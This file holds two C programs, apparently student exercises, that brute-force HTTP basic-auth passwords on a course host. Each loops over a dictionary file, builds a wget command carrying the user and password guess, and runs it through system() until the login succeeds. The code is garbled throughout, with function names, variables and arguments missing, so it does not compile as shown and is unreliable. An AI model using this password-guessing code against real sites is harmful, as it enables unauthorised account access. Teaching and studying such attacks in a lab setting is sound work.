#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9

int ()
{   int startTime, stopTime, final;
    int i,j,k;
    FILE* fp;
    int pass,len;
    int count = 0;
    char [50];
    char url1[100];
    char url2[100];

    startTime = time();
    fp = fopen("/usr/share/lib/dict/words","r");
    while (fp !='\0')
     {
       fgets( ,50,fp);

       len = strlen();
       [strlen()-1] ='\0';

       if(len <= 4)
       {
         count++;
	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcat(url1,);
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,url2);


	     pass = system(url1);
	    if (pass == 0)
	    {
	      stopTime = time();
          final = stopTime-startTime;
	      printf("\n SUCCESS\n");
	      printf("The password for the user  : %s\n ",);
	      printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	       printf("Number of attempts : %d\n",count);
          exit(1);
	 }
        }
       }

 }

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 time_t u1,u2;
 char v[3];
 char temp1[100];
 char temp2[100];
 char temp3[250];
 FILE *fin1;
 
 char point[25];
  fin1=fopen("./words.txt","r");
  
  if(fin1==NULL)
  {
   printf(" open the file ");
   exit(0);
  } 
  

 strcpy(temp2," --http-user= --http-passwd=");
 strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
   strcpy(temp3,"");
   
   (void) time(&u1); 
   
   while(!feof(fin1))  
   {
    
    fgets(point,25,fin1);
    if(strlen(point)<=4)
    {
   
    
    strcpy(temp3,temp1);
    strcat(temp3,temp2);
     strcat(temp3,point);
    printf("\nSending the  %s\n",temp3);
    i=system(temp3);  
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",point);
	 printf("\n\nThe time_var taken  crack the passwork is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
    }
  }
   
  
}  
